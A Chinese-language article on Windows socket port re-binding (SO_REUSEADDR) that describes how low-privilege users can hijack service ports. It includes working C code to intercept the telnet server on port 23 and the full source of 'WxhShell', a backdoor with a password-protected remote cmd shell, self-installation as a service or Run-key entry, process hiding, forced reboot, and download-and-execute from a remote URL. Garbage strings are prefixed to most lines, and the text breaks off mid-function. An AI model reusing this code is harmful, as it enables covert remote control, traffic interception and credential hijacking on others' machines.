在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
_Ey5n!0: s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
;a3}~s |a@L}m saddr.sin_family = AF_INET;
hGrdtsH? Zd&S@Z saddr.sin_addr.s_addr = htonl(INADDR_ANY);
('~LMu_ &Qm@9I s bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
V6Dbd"
i9 ,,TnIouy 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
$Q0n 31)&vf[[ 这意味着什么?意味着可以进行如下的攻击:
]'S^] 6B-16 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
t,'<gI JtZ7ti 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
=M-p/uB] wY}@'pzX 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
s^SJY{ ]^]wP]R_ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
t<qiGDJ<d nFn5v'g 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
N g,j# }7X%'Bg=M 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
5dg(e3T >d6| ^h'0 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
adw2x pj .(vwIb8\_ #include
{Ha57Wk8D #include
M3AXe]<eC1 #include
Pc9H0\+Xk #include
zreU')a DWORD WINAPI ClientThread(LPVOID lpParam);
@PU [:; int main()
PW4q~rc=: {
ntY]SK%Z WORD wVersionRequested;
SX*RP;vHy DWORD ret;
_4f;<FL WSADATA wsaData;
W9)&!&<o BOOL val;
v>56~AJ SOCKADDR_IN saddr;
1eKT^bgM SOCKADDR_IN scaddr;
Debv4Gr;^ int err;
r
:dTz SOCKET s;
n:X y6H SOCKET sc;
= /8cp int caddsize;
3a|\dav% HANDLE mt;
uq{beC DWORD tid;
?4B`9<j8% wVersionRequested = MAKEWORD( 2, 2 );
cNH7C"@GVu err = WSAStartup( wVersionRequested, &wsaData );
_G0x3 if ( err != 0 ) {
##{taR8 printf("error!WSAStartup failed!\n");
~5g ~;f[4 return -1;
YS ][n_ }
7d vnupLh saddr.sin_family = AF_INET;
pXUSLs (#'>(t(4 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
NO3/rJ6- j#6.Gq saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
16 $B> saddr.sin_port = htons(23);
;nGa.= "L if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
o}!PQ#`M {
cu6Opq9 printf("error!socket failed!\n");
4m)n+ll return -1;
[gB+C84%% }
[!z,lY> val = TRUE;
{8aTV}Ha2 //SO_REUSEADDR选项就是可以实现端口重绑定的
B1STG L`nK if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
ix$bRdl {
_j3f Ar(V printf("error!setsockopt failed!\n");
|{8Pb3#U return -1;
M_8{]uo }
{8OCXus3m //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
M}Sv8D]I //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
"oD[v //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
36NpfTW ceV}WN19l if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
4Up/p&1@ {
5m*,8 ]!- ret=GetLastError();
c|%6e(g"L printf("error!bind failed!\n");
^s=8!=A( return -1;
L$-T,Kze }
Ned."e listen(s,2);
KSvE~h[#+ while(1)
ys~x$ {
7Wno':w8 caddsize = sizeof(scaddr);
pUTr!fR //接受连接请求
OCUr{Nh sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
&vJH$R if(sc!=INVALID_SOCKET)
:>*7=q= {
68
sB)R mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
;fJ.8C if(mt==NULL)
TN.rrop`#g {
uc=B,3 printf("Thread Creat Failed!\n");
2?5>o!C break;
q@qsp&0/ }
/ouPg=+Nl }
e!Hh s/&!T CloseHandle(mt);
P%6~&woF }
:
'c&,oLY closesocket(s);
i$@:@&(~Y WSACleanup();
rc{v$.o0 return 0;
yLGRi^d# }
N$DkX)Z DWORD WINAPI ClientThread(LPVOID lpParam)
"{n&~H` {
^_6|X]tz1T SOCKET ss = (SOCKET)lpParam;
sRW<me; SOCKET sc;
'7/)Ot( unsigned char buf[4096];
+:f"Y0 SOCKADDR_IN saddr;
hc1N~$3!G long num;
`gJ(0#ac DWORD val;
g :OI DWORD ret;
?`#Khff? //如果是隐藏端口应用的话,可以在此处加一些判断
"zc l|@ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
R=dC4; saddr.sin_family = AF_INET;
<[v[ci saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
%RVZD#zr saddr.sin_port = htons(23);
IcEdG( if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
)7d&NE_ {
\lY_~*J printf("error!socket failed!\n");
4JEpl'5^Q return -1;
/mHqurB }
;*N5Y}?j' val = 100;
),)lzN%! if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
<GJbmRc| {
m[$_7a5 ret = GetLastError();
u y+pP!< return -1;
/{[o~:'p }
mR~&)QBP. if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
;
KA~Z5x; {
*#2h/Q. ret = GetLastError();
j+!v}*I![ return -1;
omFz@ }
@ 7u 0v if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
N;R^h? ' {
\G BuWY3B printf("error!socket connect failed!\n");
[RL9>n8f closesocket(sc);
>sF)BoLc closesocket(ss);
cS$_\65 return -1;
7nSxi+6e }
fOHxtHM while(1)
5N]"~w* {
9^x> 3Bo //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
@d_M@\r=j //如果是嗅探内容的话,可以再此处进行内容分析和记录
KXrjqqXs //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
Z,=1buSz_ num = recv(ss,buf,4096,0);
#z(]xI)" if(num>0)
*hrvYil2b send(sc,buf,num,0);
teP<!RKNb else if(num==0)
t7pFW^& break;
jo7\`#(Q num = recv(sc,buf,4096,0);
/}$+uBgJm if(num>0)
hb-%_c"kq send(ss,buf,num,0);
TzZq(?V else if(num==0)
b$7 +;I; break;
k'YTpO }
DH=hH&[e(d closesocket(ss);
FwK]$4* closesocket(sc);
*Ly6`HZ9 return 0 ;
[;N'=]` }
F{wzB V+\Wb[zDJ l}h!B_P' ==========================================================
DDZ@$L! 0]L"H<W 下边附上一个代码,,WXhSHELL
K:M8h{Ua =D(j)<9$A ==========================================================
m~|40) pYg/Zm
Jd #include "stdafx.h"
h1RSVp+?n "4Nt\WQ #include <stdio.h>
xk5]^yDp #include <string.h>
jdN`mosJ #include <windows.h>
wL1MENzp*z #include <winsock2.h>
("@!>|H #include <winsvc.h>
Y2TtY; #include <urlmon.h>
Mt$
*a X2_=agEP #pragma comment (lib, "Ws2_32.lib")
}ZI7J #pragma comment (lib, "urlmon.lib")
Ef\-VKh hPh-+Hb #define MAX_USER 100 // 最大客户端连接数
x;S @bY #define BUF_SOCK 200 // sock buffer
S/ *E,))m #define KEY_BUFF 255 // 输入 buffer
+q4O D$} [^)g%|W #define REBOOT 0 // 重启
OI*H,Z" #define SHUTDOWN 1 // 关机
0Gk<l{o?^ dr(*T #define DEF_PORT 5000 // 监听端口
m 5.Zu. =]t|];c% #define REG_LEN 16 // 注册表键长度
0b>h$OU/ #define SVC_LEN 80 // NT服务名长度
Xvv6~ 7$b1<.WX // 从dll定义API
H\
% 7% typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
6863xOv{T typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
1oS/`) typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
wY#E?, typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
R-:2HRaA ?[AD=rUC // wxhshell配置信息
K'bP@y_cq struct WSCFG {
Z;i:]( int ws_port; // 监听端口
F2WKd1U char ws_passstr[REG_LEN]; // 口令
W!X@ int ws_autoins; // 安装标记, 1=yes 0=no
w
xH7?tsf char ws_regname[REG_LEN]; // 注册表键名
~&T~1xsFJ char ws_svcname[REG_LEN]; // 服务名
\m,PA'nd/ char ws_svcdisp[SVC_LEN]; // 服务显示名
XX@ZQcN char ws_svcdesc[SVC_LEN]; // 服务描述信息
dG{A~Z z char ws_passmsg[SVC_LEN]; // 密码输入提示信息
.>S!ji int ws_downexe; // 下载执行标记, 1=yes 0=no
do%&m]#; char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
eRYK3W char ws_filenam[SVC_LEN]; // 下载后保存的文件名
\RiP
*|0 -~u%q };
j.Hf/vi`z @FeTz[ // default Wxhshell configuration
D-c4EV struct WSCFG wscfg={DEF_PORT,
#R"*c
hLV "xuhuanlingzhe",
9p/Bh$vJ 1,
2iOV/=+ "Wxhshell",
Z r8*et "Wxhshell",
\G[$:nS "WxhShell Service",
S!UaH>Rh "Wrsky Windows CmdShell Service",
3<!7>]A "Please Input Your Password: ",
n]9$:aLZ 1,
]'}L 1r "
http://www.wrsky.com/wxhshell.exe",
)UR7i8]!0 "Wxhshell.exe"
x4 yR8n( };
pb}*\/s \bcLiKE{ // 消息定义模块
>j/w@Fj char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
f?Lw)hMrA char *msg_ws_prompt="\n\r? for help\n\r#>";
KHme&yMq char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
]`K2N char *msg_ws_ext="\n\rExit.";
JI}'dU>*U: char *msg_ws_end="\n\rQuit.";
Nc`L;CP char *msg_ws_boot="\n\rReboot...";
L_T5nD^D char *msg_ws_poff="\n\rShutdown...";
)2.Si# char *msg_ws_down="\n\rSave to ";
e=
AKD# yAt^; char *msg_ws_err="\n\rErr!";
oxs#866x char *msg_ws_ok="\n\rOK!";
?
k /` @5FQX char ExeFile[MAX_PATH];
bw7@5=?; int nUser = 0;
Ytkv!]" HANDLE handles[MAX_USER];
b;n[mk
int OsIsNt;
az$FnVNn= v+XJ*N[W SERVICE_STATUS serviceStatus;
p2eGm-Erq SERVICE_STATUS_HANDLE hServiceStatusHandle;
}tz7b# [WmM6UEVS // 函数声明
iMlWM-wz>O int Install(void);
h0$iOE int Uninstall(void);
icgfB-1|i int DownloadFile(char *sURL, SOCKET wsh);
l**X^+=$ int Boot(int flag);
dH!*!r> void HideProc(void);
C]6O!Pb0 int GetOsVer(void);
)e{aN+ int Wxhshell(SOCKET wsl);
d6O[ @CyP void TalkWithClient(void *cs);
5O%{{J int CmdShell(SOCKET sock);
(>Em^(& int StartFromService(void);
I,tud!p` int StartWxhshell(LPSTR lpCmdLine);
{FkF &Jj<h: * VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
kmW4:EA% VOID WINAPI NTServiceHandler( DWORD fdwControl );
Y4-t7UlS; J5qZFD // 数据结构和表定义
-f .,tM= SERVICE_TABLE_ENTRY DispatchTable[] =
c)J%`i$ {
;uJMG {wscfg.ws_svcname, NTServiceMain},
7! Nsm {NULL, NULL}
Hs8>anVo[ };
&yg|t5o V!Uc( // 自我安装
6m93puY`7 int Install(void)
8tL~FiHb" {
N7"W{"3D char svExeFile[MAX_PATH];
h`q1 HKEY key;
s;e\ pt strcpy(svExeFile,ExeFile);
tw;}jh 1Mzmg[L8 // 如果是win9x系统,修改注册表设为自启动
<)9y{J}s: if(!OsIsNt) {
CJ}%W# if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
4Z*/WsCv RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
)7F/O3Tq RegCloseKey(key);
4RO}<$Nx} if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
m0wDX*Qn RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
th_oJcS RegCloseKey(key);
**%37 return 0;
kVgTGC"L= }
"jZ-,P= }
fhiM U8(& }
V
gWRW7Se else {
Ml_^
`vn o-5TC // 如果是NT以上系统,安装为系统服务
N8jIMb'< SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
Cdn J&N{ if (schSCManager!=0)
k[xSbs'D {
HPl<%%TI SC_HANDLE schService = CreateService
pBHRa?Y5 (
x5Bk/e' schSCManager,
3og.y+.=U. wscfg.ws_svcname,
ZK,G v wscfg.ws_svcdisp,
B\~}3!j SERVICE_ALL_ACCESS,
oJ^P(] dw SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
Z.,MVcd SERVICE_AUTO_START,
oA
1yIp SERVICE_ERROR_NORMAL,
y[;>#j$ svExeFile,
l?e.9o2- NULL,
N~Jda
o NULL,
="+#W6bZT NULL,
z/-=%g >HA NULL,
?,z}%p NULL
$Sq:q0 );
)lkjqFQ( if (schService!=0)
`Di{}/2 {
M`_0C38
CloseServiceHandle(schService);
J.a]K[ci CloseServiceHandle(schSCManager);
x2xRBkRg= strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
i!Ba]n
strcat(svExeFile,wscfg.ws_svcname);
>4TO=i if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
i-1op> Y RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
`5*}p#G RegCloseKey(key);
%{W6PrY{ return 0;
1MFbQs^ }
x}4q {P5$ }
6ujWNf CloseServiceHandle(schSCManager);
I9^x,F"E] }
&oNAv-m^GD }
[^iN}Lz hrk r'3lv return 1;
wYea\^co }
LVyyO3e :gv"M8AP // 自我卸载
F59 TZI int Uninstall(void)
W9&=xs6 {
UMi~14& ; HKEY key;
W?&%x(6M tQVVhXQ7 if(!OsIsNt) {
^iA9%zp if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
=pNY
eR_[ RegDeleteValue(key,wscfg.ws_regname);
UKGPtKE< RegCloseKey(key);
K/$KI7P if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
q.vIc
?a RegDeleteValue(key,wscfg.ws_regname);
Cp N>p.kM RegCloseKey(key);
Wwo0%<2y return 0;
e-;}366} }
R2NZ{"h
}
6Wn1{v0 }
4+n\k else {
)X7A ?dTD\)%A SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
Z+SRXKQ if (schSCManager!=0)
%b0*H_ok7 {
Jm@oDME_E SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
4H/OBR if (schService!=0)
SbZ6t$" {
st*gs-8jJ; if(DeleteService(schService)!=0) {
/Oono6j CloseServiceHandle(schService);
Ri'n CloseServiceHandle(schSCManager);
]~-r}`] return 0;
!D6]JPX }
!-bB559Nv CloseServiceHandle(schService);
2wn2.\v M }
KvSG; CloseServiceHandle(schSCManager);
4i bc }
buC{r, }
$b\P|#A x-c"%Z| return 1;
bt *k.=p }
-j(6;9"7]| _F{C\} // 从指定url下载文件
~&O%N int DownloadFile(char *sURL, SOCKET wsh)
=N@t'fOr {
}]TxlSp!; HRESULT hr;
I fir ,8 char seps[]= "/";
k)u[0} char *token;
=Qq+4F)MD char *file;
Xj*Wu_ char myURL[MAX_PATH];
hZ3bVi)L\ char myFILE[MAX_PATH];
5;?yCWc :&Nbw strcpy(myURL,sURL);
p_ =z# token=strtok(myURL,seps);
G3]4A&h9v~ while(token!=NULL)
E7hhew {
zDp 2g) file=token;
a.'*G6~Qgw token=strtok(NULL,seps);
^.tg 7%dJ }
b6[j%(
qR.Q,(b| GetCurrentDirectory(MAX_PATH,myFILE);
3T
9j@N77 strcat(myFILE, "\\");
^8tEach strcat(myFILE, file);
C~[,z.FvO send(wsh,myFILE,strlen(myFILE),0);
lr?;*f^3
send(wsh,"...",3,0);
:,^gj hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
K,]=6Rj if(hr==S_OK)
c,22*.V/ return 0;
)[ ,A_3E else
g0
[w-?f return 1;
.hiSw -di o5a }
0c&+|>! o
K@"f9 // 系统电源模块
VL^EHb7 int Boot(int flag)
d _
e WcI {
Q\)F;: | HANDLE hToken;
p<2,=*2 TOKEN_PRIVILEGES tkp;
*"kM{*3:v .pq%?& if(OsIsNt) {
E4!Fupkpf OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
\jA~9 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
.543N<w tkp.PrivilegeCount = 1;
pp2~Meg tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
/(T?j!nPE AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
S'14hk< if(flag==REBOOT) {
Qd6F H2Pl if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
WHI`/FM return 0;
=xrv~ }
[Q =Nn else {
H"KCK6 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
;=@0'xPEa- return 0;
&zs$x?/ }
iLz@5Zj8 }
23?rEhKe else {
:]c3|J if(flag==REBOOT) {
h~26WLf. if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
:EH=_" return 0;
/bEAK- }
G:JR7N$ else {
k8Xm n6X if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
1cGmg1U; return 0;
:LTN!jj }
nm+s{ }
-hV*EPQ/ ]?)TdJ` return 1;
<Qq*p }
C>~TI,5a3 uMv1O{ // win9x进程隐藏模块
R4@6G&2d> void HideProc(void)
^(<f/C)i {
@KA4N` V:27)]q HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
S$k&vc(0 if ( hKernel != NULL )
+{>=^9%X {
$|@ r!/W pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
PX99uWx5] ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
qNr}
\J| FreeLibrary(hKernel);
{U1m.30n }
XM}hUJJW Q^I\cAIB return;
a6H%5N }
,PZ ge @H<q"-J // 获取操作系统版本
U3kyraj int GetOsVer(void)
7rPF$ \# {
8] ikygt" OSVERSIONINFO winfo;
J=L5=G7( winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
?}7p"3j'z GetVersionEx(&winfo);
-F92 -jBM4 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
66 Tpi![ return 1;
7?t6UPf else
^J d
r>@ return 0;
v@Ox:wl> }
V$~9]*Wn 3~\[7I/ // 客户端句柄模块
d\Zng!Z ' int Wxhshell(SOCKET wsl)
vI]N^j2% {
_~pbqa,
SOCKET wsh;
5PW^j\G-f struct sockaddr_in client;
rGkyGz8> DWORD myID;
c)tfAD(N8x \Roz$t-R|f while(nUser<MAX_USER)
x`?3C"N:< {
N<-Gk6`C/ int nSize=sizeof(client);
FC*[* wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
wAd9 if(wsh==INVALID_SOCKET) return 1;
!by\9
?n kW (Bkuc) handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
j7c3(*Pl if(handles[nUser]==0)
wPl%20t closesocket(wsh);
pmilrZmm] else
\;-|-8Q nUser++;
4X$Qu6#i }
-^57oU WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
qw8Rlws% n(|^SH4$b return 0;
%IRi1EmN8 }
o]:9')5^ 4&f3%eTi // 关闭 socket
0RK!/:' void CloseIt(SOCKET wsh)
LK"69Qx?5q {
* 4Izy14e closesocket(wsh);
C
$JmzrE nUser--;
"nWw;-V}} ExitThread(0);
ERt{H3eCcJ }
#,.Hr#3nI N?>vd* // 客户端请求句柄
`@
FYkH void TalkWithClient(void *cs)
jSA jcLR {
AK#1]i~ '=6\v! SOCKET wsh=(SOCKET)cs;
;\l,5EG char pwd[SVC_LEN];
PuO&wI]: char cmd[KEY_BUFF];
hL5|69E char chr[1];
N !|wo: int i,j;
YF:L)0H'O (~en ( while (nUser < MAX_USER) {
^VACf|0 P2*<GjV`S/ if(wscfg.ws_passstr) {
kxRV)G if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
g4@ lM"|S //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
``Un&-Ms //ZeroMemory(pwd,KEY_BUFF);
L^Fy#p i=0;
; Hd7*`$ while(i<SVC_LEN) {
1r7y]FyH$ [sb[Z:
// 设置超时
MxGW(p fd_set FdRead;
#u
+ v_ struct timeval TimeOut;
_,d~}_$`i FD_ZERO(&FdRead);
6 _ow%Rx~F FD_SET(wsh,&FdRead);
=>dGL| TimeOut.tv_sec=8;
<rmvcim{* TimeOut.tv_usec=0;
FEVlZ<PW3I int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
e,5C8Q`Z if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
/OJ`c`>Q: O<e{ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
e*n@j pwd
=chr[0]; 'Qo*y%{@5
if(chr[0]==0xd || chr[0]==0xa) { L~>i,
pwd=0; yH}s<@y;7
break; LraWcO\or'
} 0C*7K?/
i++;
EU/8=JA1
} *~H Sy8s
u?{H}V
// 如果是非法用户,关闭 socket evJ.<{M
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); pXK^Y'2C!
} &yol_%C
TNr :pE<
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); BV+ Bk+
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); eNu7~3k}
Jdp3nzM^^@
while(1) { )tnh4WMh}
?KI,cl
ZeroMemory(cmd,KEY_BUFF); a -moI+y
2,P^n4~A?w
// 自动支持客户端 telnet标准 L z1ME(
j=0; UOmY-\ &c
while(j<KEY_BUFF) { Q?/o%`N
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <1COZ)
cmd[j]=chr[0]; 9RI-Lq`
if(chr[0]==0xa || chr[0]==0xd) { m<g~H4
cmd[j]=0; CWP2{
break; I15{)o(8$
} u=_mvN
j++; t@Nyr&|D
} Dl8;$~
M {Q;:
// 下载文件 qWKAM@
if(strstr(cmd,"http://")) { ]P2"[y
send(wsh,msg_ws_down,strlen(msg_ws_down),0); $"&{aa
if(DownloadFile(cmd,wsh)) [=]4-q6UN
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Bng@-#`/
else yEj^=pw
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `I5wV/%ib
} E1U",CMU
else { Ezv
Y"T@
/_#q@r4ZQ
switch(cmd[0]) { R n*L
!1Cy$}w
// 帮助 X/M4!L}\
case '?': { _OC<[A
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); *GN#
r11d
break; @[i4^
} om-omo&,X=
// 安装 Q( {
r@*g
case 'i': { m<qJcZk
if(Install()) .Twk {p
send(wsh,msg_ws_err,strlen(msg_ws_err),0); *~j@*{u
else td3D=Y
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); VEw"
break; VD]zz
^
} Yr=Y@~ XL
// 卸载 h@]XBv
case 'r': { Y,e B|
if(Uninstall()) 0|\$Vp
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Uwx
E<=z
else \qK&q
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?vHU#
break; wtV#l4
} X<; f
// 显示 wxhshell 所在路径 h_IDO%
case 'p': { ~Ti'FhN
char svExeFile[MAX_PATH]; bl(RyAgA
strcpy(svExeFile,"\n\r"); j;iAD:nf
strcat(svExeFile,ExeFile); 0f>5(ek
send(wsh,svExeFile,strlen(svExeFile),0); }HePZ{PLM
break; Y6L~K?
} W$2C47i
// 重启 o W Nh@C
case 'b': { tWa)_y
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); a1y-3z
if(Boot(REBOOT)) } c}_<#I
send(wsh,msg_ws_err,strlen(msg_ws_err),0); w+E,INdi
else { s1=G;
closesocket(wsh); E6gI,f/p0X
ExitThread(0); E5lBdM>2
} /U)D5ot<
break; *m,k(/>
} Nf"r4%M<6
// 关机 oVe|Mss6
case 'd': { SHo$9+
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); /&+tf*
if(Boot(SHUTDOWN)) ;^I*J:]
send(wsh,msg_ws_err,strlen(msg_ws_err),0); $.rhRKs
else { RnI&8
closesocket(wsh); J@Q7p}
ExitThread(0); /j|G(vt5
} .:QLk&a,:,
break; Y@ksQ_u
} qd)/9*|Jl
// 获取shell Fv<F}h? 6
case 's': { .KUv(-
CmdShell(wsh); 6WJ)by
closesocket(wsh); 2!J&+r
ExitThread(0); K;z7/[%
break; Uu(SR/R}
} }m;,Q9:+m^
// 退出 o-OHjFfB
case 'x': { '>0fWBs
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); <drODjB
CloseIt(wsh); {|:;]T"y
break; jesGV<`?l
} PFne+T!2F
// 离开 5BKt1%Pg
case 'q': { XkF%.hWo
send(wsh,msg_ws_end,strlen(msg_ws_end),0); c+$*$|t=v`
closesocket(wsh); b8SHg^}
WSACleanup(); AKyUfAj3
exit(1); m(#LhlX
break; |O9O )o
} }h!f eP
} f;gw"onx8F
} T<p !5`B 1
A.F738Zp{Z
// 提示信息 :~T99^$zA
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); dCk3;XU
} 5r8<7g:>C
} q~ZNd3O
78# v
return; R$TB1w9]
} K&70{r
3ojlB |Z
// shell模块句柄 % <*g!y `
int CmdShell(SOCKET sock) HbAkZP
{ d>fkA0G/9!
STARTUPINFO si; P} SCF
ZeroMemory(&si,sizeof(si)); N@1+O,o
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; oxkoA
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 4^~(Mh- Mw
PROCESS_INFORMATION ProcessInfo; OFv%B/O
char cmdline[]="cmd"; D \sWZ
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); V(6Z3g
return 0; -~30)J=e`
} Yc
`)R
N<|Nwq:NN
// 自身启动模式 lWc:$qnR-K
int StartFromService(void) V7P&%oz{C
{ 2h1C9n%j9
typedef struct ~ZEmULKkR
{ Q[pV!CH
DWORD ExitStatus; /bi[e9R
DWORD PebBaseAddress; \LppYXz
DWORD AffinityMask; `-l6S
DWORD BasePriority; X{'q24\F
ULONG UniqueProcessId; pd7NF-KD
ULONG InheritedFromUniqueProcessId; -
'W++tH=
} PROCESS_BASIC_INFORMATION; An"</;HU
VG5+CU
